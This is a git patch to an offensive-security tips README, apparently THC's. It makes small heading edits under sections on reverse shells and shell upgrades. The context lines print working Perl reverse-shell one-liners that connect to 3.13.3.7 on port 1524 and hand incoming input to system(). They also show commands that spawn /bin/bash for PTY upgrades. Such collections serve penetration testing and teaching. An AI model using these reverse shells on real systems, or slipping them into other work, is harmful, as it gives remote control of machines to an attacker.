From eca8c75165d49923a91502e58bfb1e63c3d40714 Mon Sep 17 00:00:00 2001 From: rootTHC <57636391+rootTHC@users.noreply.github.com> Date: Fri, 24 Jan 2020 12:38:58 +0000 Subject: [PATCH] Update README.md cleanup --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d4af1a9..1510502 100644 --- a/README.md +++ b/README.md @@ -350,7 +350,7 @@ $ perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprot $ perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' ``` -**26. Upgrade a dumb shell to a pty shell** +**26. Upgrade a reverse shell to a pty shell** Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrate the shell to a real PTY shell: @@ -365,7 +365,7 @@ perl -e 'exec "/bin/bash";' awk 'BEGIN {system("/bin/bash")}' ``` -**27. Upgrade a dumb shell to a fully interactive shell with Python and stty** +**27. Upgrade a reverse shell to a fully interactive shell** ...and if we also like to use Ctrl-C we have to go all the way and upgrade the reverse shell to a real fully colorfull interactive shell: @@ -388,6 +388,7 @@ $ stty rows 24 columns 80 ``` **28. Reverse shell with socat (fully interactive)** + ...or install socat and get it done without much fiddling about: ```